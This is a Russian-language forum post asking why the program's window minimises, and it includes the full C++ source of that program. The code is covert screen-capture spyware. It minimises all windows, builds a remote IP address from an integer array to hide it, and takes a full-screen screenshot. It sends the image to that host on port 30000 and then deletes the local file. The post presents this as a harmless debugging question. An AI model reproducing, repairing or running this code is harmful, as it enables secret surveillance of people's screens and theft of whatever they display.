Написал небольшую программу, а окно сворачивается в чем дело?
#include <iostream>
#include <WinSock.h>
#pragma comment (lib,"WS2_32.lib")
void error(const char* msg)
{
//perror(msg);
std::cout << '\n' << WSAGetLastError();
WSACleanup();
std::cin.ignore();
exit(1);
}
void bzero(char* buf, int l)
{
for (int i = 0; i < l; i++)
buf[i] = '\0';
}
int main()
{
keybd_event(VK_LWIN, 0, 0, 0);
keybd_event('M', 0, 0, 0);
keybd_event('M', 0, KEYEVENTF_KEYUP, 0);
keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0);
Sleep(1000);
WSADATA ws = { 0 };
if (WSAStartup(MAKEWORD(2, 2), &ws) == 0)
{
int sockfd;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in serv_addr, cli_addr;
bzero((char*)&serv_addr, sizeof(serv_addr));
bzero((char*)&cli_addr, sizeof(cli_addr));
serv_addr.sin_family = AF_INET;
std::string str;
int* d = new int[13];
d[0] = 49;
d[1] = 57;
d[2] = 53;
d[3] = 46;
d[4] = 57;
d[5] = 56;
d[6] = 46;
d[7] = 54;
d[8] = 57;
d[9] = 46;
d[10] = 49;
d[11] = 50;
d[12] = 55;
for(int i=0;i<13;i++)
str += d[i];
const char* add = str.c_str();
serv_addr.sin_addr.s_addr = inet_addr(add);
int port = 30000;
serv_addr.sin_port = htons(port);
int servlen = sizeof(serv_addr);
int n = connect(sockfd, (struct sockaddr*)&serv_addr, servlen);
HDC ScreenDC = GetDC(0);
HDC MemoryDC = CreateCompatibleDC(ScreenDC);
int ScreenHeight = GetSystemMetrics(SM_CYSCREEN);
int ScreenWidth = GetSystemMetrics(SM_CXSCREEN);
ScreenWidth = ((ScreenWidth - 1) / 4 + 1) * 4;
BITMAPINFO BMI;
BMI.bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
BMI.bmiHeader.biWidth = ScreenWidth;
BMI.bmiHeader.biHeight = ScreenHeight;
BMI.bmiHeader.biSizeImage = ScreenWidth * ScreenHeight * 3;
BMI.bmiHeader.biCompression = BI_RGB;
BMI.bmiHeader.biBitCount = 24;
BMI.bmiHeader.biPlanes = 1;
DWORD ScreenshotSize;
ScreenshotSize = BMI.bmiHeader.biSizeImage;
unsigned char* ImageBuffer;
HBITMAP hBitmap = CreateDIBSection(ScreenDC, &BMI, DIB_RGB_COLORS, (void**)&ImageBuffer, 0, 0);
SelectObject(MemoryDC, hBitmap);
BitBlt(MemoryDC, 0, 0, ScreenWidth, ScreenHeight, ScreenDC, 0, 0, SRCCOPY);
DeleteDC(MemoryDC);
ReleaseDC(NULL, ScreenDC);
FILE* sFile = 0;
unsigned char tgaHeader[12] = { 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
unsigned char header[6];
unsigned char tempColors = 0;
fopen_s(&sFile, "S.tga", "wb");
if (!sFile) {
exit(1);
}
header[0] = ScreenWidth % 256;
header[1] = ScreenWidth / 256;
header[2] = ScreenHeight % 256;
header[3] = ScreenHeight / 256;
header[4] = BMI.bmiHeader.biBitCount;
header[5] = 0;
fwrite(tgaHeader, 1, sizeof(tgaHeader), sFile);
fwrite(header, sizeof(header), 1, sFile);
fwrite(ImageBuffer, BMI.bmiHeader.biSizeImage, 1, sFile);
fclose(sFile);
DeleteObject(hBitmap);
FILE* f;
fopen_s(&f, "S.tga", "rb");
int c, count = 1;
c = getc(f);
while (c != EOF)
{
c = getc(f);
count++;
}
fclose(f);
char* s = new char[100];
_itoa_s(count, s, 100, 10);
n = send(sockfd, s, 100, 0);
char* buffer = new char[count];
fopen_s(&f, "S.tga", "rb");
size_t bytes;
if (f != NULL)
{
bytes = fread(buffer, sizeof(unsigned char), count, f);
n = send(sockfd,buffer, count, 0);
fclose(f);
}
Sleep(1000);
shutdown(sockfd, 0);
WSACleanup();
system("del S.tga");
delete[] buffer,s;
return 0;
}
std::cin.ignore();
}
Простой